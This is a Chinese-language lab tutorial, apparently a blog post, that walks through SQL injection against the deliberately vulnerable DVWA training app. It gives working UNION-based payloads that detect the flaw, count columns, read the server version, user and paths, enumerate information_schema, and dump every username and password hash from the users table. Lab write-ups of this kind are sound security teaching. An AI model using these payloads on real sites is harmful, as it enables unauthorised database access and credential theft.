DVWA-sql注入漏洞详解

1、判断是否存在SQL注入点

DVWA安全级别为“Low”

(1)判断是否存在漏洞

Id值输入为1,发现正常显示
在这里插入图片描述
Id值输入为1’,发现报错
在这里插入图片描述

判断存在sql注入漏洞

(2)判断是否存在数字型漏洞

输入1 and 1=1 显示正常
在这里插入图片描述

输入1 and 1=2,显示仍然正常
在这里插入图片描述
故,判断不存在数字型漏洞

(3)判断是否存在字符型漏洞

输入1’ and ‘1’=’1,正常显示
在这里插入图片描述
输入1’ and ‘1’=’2,没有显示结果

在这里插入图片描述
在这里插入图片描述

故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞

2、判断数据表的列数

使用order by函数,以及二分法判断列数

(1)第一步测试(10列)

输入1' order by 10 #,显示错误,故不存在10列
在这里插入图片描述

(2)第二步测试(5列)

1' order by 5 #,结果还是错误,故不存在5列
在这里插入图片描述

(3)第三步测试(3列)

1' order by 3#,还是不正确,故也不存在3列
在这里插入图片描述

(4)第四步测试(2列)

1' order by 2#

在这里插入图片描述

显示出了结果,故判断该数据表存在两列数据

3、联合查询,判断回显位置

通过order by函数判断该数据表存在两列数据
使用1' union select 1,2 #,查看两列数据是否都正常显示
在这里插入图片描述

结果判断,两列数据都能够正常显示

4、爆出MYSQL版本号、MYSQL连接用户、当前数据库、安装路径、操作系统等3个关键信息

(1)MYSQL版本号—>version()函数

1' union select version(),2 #

在这里插入图片描述
显示当前数据库版本号为5.5.65-MariaDB

(2)MYSQL连接用户—>session_user()函数

1' union select session_user(),2 #

在这里插入图片描述

显示当前数据库连接的用户为root@localhost

(3)当前数据库—>database()

1' union select database(),2 #

在这里插入图片描述

显示当前数据库名称为dvwa

(4)安装路径—>@@basedir

1' union select @@basedir,2 #

在这里插入图片描述

数据库安装路径为/usr

(5)操作系统—>@@version_compile_os

1' union select @@version_compile_os,2 #

在这里插入图片描述

操作系统为Linux

5、最终爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。

(1)数据库名称

1' union select schema_name,2 from information_schema.schemata#

在这里插入图片描述

爆出当前存在四个数据库,分别为information_schema、dvwa、mysql、performance_schema

(2)数据表名称

1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

爆出dvwa数据库中有两个表,分别为guestbook表和users表

(3)字段名称

1' union select column_name,2 from information_schema.columns where table_name='users'#

在这里插入图片描述

爆出users表中的字段值有user_id,first_name,last_name,user,password,avatar,last_login,failed_login这几个字段

(4)关键的字段值(比如用户名、密码等)

1' union select user,password from dvwa.users#

在这里插入图片描述

成功爆出users表中所有用户的账号和密码

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值